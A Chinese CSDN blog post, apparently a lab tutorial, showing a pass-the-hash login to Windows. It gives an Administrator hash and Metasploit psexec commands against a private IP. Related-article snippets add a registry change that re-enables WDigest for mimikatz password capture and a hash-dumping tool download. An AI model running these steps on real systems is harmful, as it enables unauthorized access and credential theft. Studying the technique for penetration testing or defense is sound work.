使用Hash直接登录Windows（HASH传递）

最新推荐文章于 2024-08-02 21:18:40 发布
最新推荐文章于 2024-08-02 21:18:40 发布
阅读量1.5k 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/h4ck0ne/article/details/50570751
版权

抓取windows hash值

得到administrator的hash：

598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF


msf调用payload：

use exploit/windows/smb/psexec 

show options

set RHOST 192.168.81.129

set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF

set SMBUser Administrator

show options

run

 

「已注销」
关注
使用Hash远程RDP登录
谢公子的博客
04-20 4351
我们知道在Windows Server2012及其以后的版本中，使用mimikatz在内存中抓取不到明文密码了，这是微软为了防止内存中泄露明文密码做的一个安全措施。 但是修改注册表后重启依然可以抓取到明文密码，执行如下命令，等待目标机器重启后使用mimikatz即可抓取到明文密码 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d
内网渗透-Hash传递攻击
lza20001103的博客
10-01 1620
Hash传递攻击 文章目录Hash传递攻击前言psexec模块 前言 今天给大家讲解一个知识点，Hash传递攻击，它是在不知道明文密码，只知道hash值的时候进行攻击的一种手段，会返回一个会话，且是system权限，但会遇到uac的问题，我们只要关闭uac就可以了。 psexec模块 利用的前提是必须开放445端口 首先，我们需要获得用户的hash值 在kali中，不知道为什么hash值获取不了，我们cs上线来获取hash值 Administrator的hash值如下： aad3b435b51404eea
内网横向——常见系统传递攻击（1）
最新发布
qq_55202378的博客
08-02 1006
网络拓扑：攻击机kali IP：192.168.111.0跳板机win7 IP：192.168.111.128，192.168.52.143靶机win server 2008 IP：192.168.52.138。
1、使用Hash直接登录Windows
Fly_鹏程万里
05-17 3067
环境攻击机   ：  kali linux 2018                        192.168.11.144目标主机：Windows server 2003 R2          192.168.11.133主要用途这个可以用于后渗透测试阶段，当我们获取到一个系统的一个WEBshell之后，我们可以上传gethashes.exe到该目标系统，之后在目标系统中获取当前登录用户的...
使用Hash直接登录Windows
十年磨一剑，霜刃未曾试!
10-24 2665
首先,在本地主机（假设为目标主机）  新建一个wooyun用户,并为之设置密码,然后通过gethashes.exe获取到HASH  C:\>net user wooyun test  The command completed successfully.  C:\>gethashes.exe $local  1:1007:C2265B23734E0DACAAD3B435B
Metasploit使用Hash直接登录Windows
jackey3Lin的专栏
10-21 2451
首先,在本地主机（假设为目标主机） 新建一个isosky用户,并为之设置密码,然后通过gethashes.exe获取到HASH C:\>net user isosky test The command completed successfully. C:\>gethashes.exe $local 1:1007:C2265B23734E0DACAAD3B435B51404
Hash传递攻击Windows2012远程桌面
Coisini的博客
06-15 1324
前言: 小伙伴们还记得metasploit的模块可以使用hash登录windows么，可惜仅仅对XP，2003有效。本文会介绍一种使用hash登录 widnows2012R2服务器远程桌面的方法。是的，你没有看错，使用Hash登录远程桌面！windows2012R2中文版测试通过！ windows2012R2采用了新版的远程桌面协议(RDP).本文主要讨论一下新版协议中的”受限管理员”(Rest...
115_使用 CrackMapExec 进行 NTLM Hash 传递攻击1
08-03
综上所述，这篇内容涵盖了NTLM身份验证的工作原理、NTLM Hash传递攻击的概念、CrackMapExec工具的功能及其在渗透测试中的应用，以及如何使用Mimikatz来获取NTLM Hash。这些知识对于理解网络安全、防御NTLM Hash传递...
oracle使用哈希算法,ORA_HASH函数使用的算法是什么？
weixin_39627361的博客
04-09 2795
Dr Y Wit..20另一个似乎使用ORA_HASH的系统好吧,如果它"似乎在使用",那么进行一些逆向工程并检查究竟是什么调用和反汇编函数代码是有意义的.但是,如果您想深入了解Oracle内部,那么以下内容可能有所帮助.首先,您必须弄清楚内部C函数的调用.为此,您可以在一个会话中执行一些长时间运行的代码.我做了这个select avg(ora_hash(rownum)) id from(sele...
WINDOWS下传递管理员账号哈希值***
weixin_33755847的博客
12-10 217
在metasploit中只要有密码的哈希值就可以***操作系统了不需要明文密码，下面以实验为目的先用工具wce在操作系统上提取管理员密码的哈希值。下载wcehttp://1230tt.com/download/wce_v1_4beta_x32.zip在目标服务器上进入目录wce -l获取管理密码哈希值1AA818381E4E281BAAD3B435B51404EE:5F18A...
c++ 哈希_传递哈希攻击的原理介绍
weixin_39970064的博客
11-23 280
在渗透测试期间，为了提高审核员对信息系统的权限，很多人都会选择横向移动方法。在这种情况下，称为Pass The Hash(传递哈希)的技术被广泛应用，使审核员成为计算机上的管理员。HTLM协议NTLM协议是在Microsoft环境中使用的一种身份验证协议，特别是，它允许用户向服务器证明自己是谁，以便使用该服务器提供的服务。注意：在本文中，术语“服务器”是在客户端/服务器意义上使用的，“服...
后渗透模块之Hash传递
weixin_45007073的博客
01-26 411
前言 我们有时候获取到了用户的hash值但是不能正确地解出密码，这是因为hash解码是需要碰撞的，成功的几率也不是特别高，因此我们使用另一种方式，直接使用hash值登录目标系统。 利用过程 前提是我们已经获取到了目标系统的SYSTEM权限，然后我们利用smb下的psexec这个模块 use exploit/windows/smb/psexec set rhosts 192.168.75.139 set smbuser pyh(普通管理员账户) set smbpass aad3b435b51404eeaad
第15篇：内网横向中windows各端口远程登录哈希传递的方法总结
ABC_123的博客
06-09 3304
Part1 前言随着人们的安全意识的逐步加强，企业内部的Windows服务器口令越来越复杂了，经常会遇到提权到windows服务器，获取了用户的密码hash，但是cmd5官网或者本地猜解都拿不到明文密码的情况。这时候就需要用到内网哈希传递技术了。哈希传递利用了NTLM认证的缺陷，使用用户的密码哈希值来进行NTLM认证。如果目标机器与获取hash值的机器的密码相同，就可......
WindowsHash简介及windows认证
qq_58000413的博客
04-23 1694
Windows系统使用两种方法对用户的密码进行哈希处理，他们分别是LAN Manager()哈希和NT LAN Manager()哈希。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows的系统密码hash默认情况下一般由两个部分组成：第一部分是LM-hash，第二部分是NTLM-hashwindows加密过的密码口令，我们称为hash，windows的系统密码hash默认情况下一般由两个部分组成：第一部分是LM-hash，第二部分NTLM-hash。
蓝桥杯-网络安全比赛（6） 模拟实验 Metasploit 控制并获取Windows 登录HASH、LM Hash和NTLM Hash密文解析
Superstacks超全栈
05-06 1055
计算机中的每个账号(如果是域服务器，则为域内的每个账号)的用户名和密码都存储在sam文件中，当计算机运行时，该文件对所有账号进行锁定，要。这是一个非常重要的设计原则，因为如果密码以明文形式存储，那么任何能够访问存储位置的人或程序都可以轻易地获取到密码，这显然是不安全的。在验证过程中，LSA可能会调用相应的验证程序包（如msv1_0.dll），对用户输入的信息进行处理，并与存储在SAM（安全账户管理器）数据库中的密钥进行对比。最后，winlogon进程对用户登录进行最后的处理，完成整个登录过程。
内网渗透-获取WIN本地用户Hash
小刚的博客
10-27 2680
作者：小刚 一位苦于信息安全的萌新小白帽，记得关注给个赞，谢谢 本实验仅用于信息防御教学，切勿用于其它用途 WIN本地获取Hashwin系统密码为什么要获取本地hash几种工具和获取方式注册表 + mimikatzProcdump + mimikatz直接mimikatz读取密码 win系统密码 Windows系统使用LM和NTLM两种方法对用户的密码进行加密处理， 两种密码的加密方式在这有介绍Win本地hash概念 但注意的是从win-server-2008开始默认禁止使用LM加密方式，统一使用NT.
内网渗透：四、windowsRDP-hash传递登录
liu_jia_liang的博客
02-21 5358
windows的RDP-hash登录利用 在渗透测试中，如果获得了某个用户的NTLM hash，我们可以尝试使用hash传递的方法对WMI和SMB服务进行登录，对于远程桌面服务同样可以进行利用。抓取hash无法破解的情况下，如果使用hash远程登录RDP，需要开启"Restricted Admin Mode", 在Windows8.1和Windows Server 2012R2上默认开启。 一：windows RDP-受限管理模式 Restricted Admin mode简介 官方说明：Restric
横向移动-传递攻击SMB服务利用psexec&smbexec
m0_65096687的博客
05-28 1198
win2012以上版本，关闭了wdigest 或者安装了 KB287199补丁。无法获取明文密码总的来说就是win2012后无法获取明文密码解决办法就是：1.可以利用哈希hash传递（pth，ptk等进行移动）2.利用其他服务协议（SMB，WMI）进行哈希hash移动3.注册表开启wdigest Auth 进行获取明文密码4.利用第三方工具（hashcat）进行破解获取。
使用CrackMapExec进行NTLM Hash传递攻击详解
"这篇博客文章介绍了如何使用CrackMapExec工具进行NTLM Hash传递攻击，主要涉及NTLM验证机制的工作流程以及CrackMapExec的主要功能。" NTLM Hash传递攻击是一种利用NT LAN Manager (NTLM)身份验证协议的弱点进行...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值